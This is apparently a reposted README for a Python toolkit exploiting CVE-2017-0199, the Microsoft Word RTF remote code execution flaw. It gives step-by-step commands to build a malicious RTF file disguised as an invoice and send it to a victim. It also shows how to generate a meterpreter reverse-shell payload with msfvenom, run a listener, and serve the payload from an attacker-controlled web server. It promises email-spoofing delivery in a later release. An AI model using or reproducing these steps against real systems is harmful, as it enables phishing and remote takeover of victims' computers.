Exploit toolkit CVE-2017-0199 - v2.0

Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration.

Video tutorial

Release note:

Introduced following capabilities to the script

- Generate Malicious RTF file using toolkit
- Run toolkit in an exploitation mode as tiny HTA + Web server

Version: Python version 2.7.13

Future release:

Working on following feature

- Automatically send generated malicious RTF to victim using email spoofing


  • Step 1: Generate malicious RTF file using following command and send it to victim

    # python -M gen -w <filename.rtf> -u <>


    # python -M gen -w Invoice.rtf -u
  • Step 2 (Optional, if using MSF Payload) : Generate metasploit payload and start handler

    Generate Payload:

    # msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > /tmp/shell.exe

    Start Handler:

    # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST; run"
  • Step 3: Start toolkit in exploitation mode to deliver payloads

    # python -M exp -e <> -l </tmp/shell.exe>


    # python -M exp -e -l /tmp/shell.exe

Command line arguments:

# python -h

This is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)


-M gen                                          Generate Malicious RTF file only

     Generate malicious RTF file:

      -w <Filename.rtf>                   Name of malicious RTF file (Share this file with victim).

      -u <>   The path to an hta file. Normally, this should be a domain or IP where this tool is running.

                                             For example, (This URL will be included in malicious RTF file and

                                             will be requested once victim will open malicious RTF file.
-M exp                                          Start exploitation mode


      -p <TCP port:Default 80>            Local port number.

      -e <>  The path of an executable file / meterpreter shell / payload  which needs to be executed on target.

      -l </tmp/shell.exe>                 Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).


This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (bhdresh) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not bhdresh's responsibility.


@nixawk for RTF sample, @bhdresh

Bug, issues, feature requests

Obviously, I am not a fulltime developer so expect some hiccups

Please report bugs, issues to

点击收藏 | 0 关注 | 0 打赏
登录 后跟帖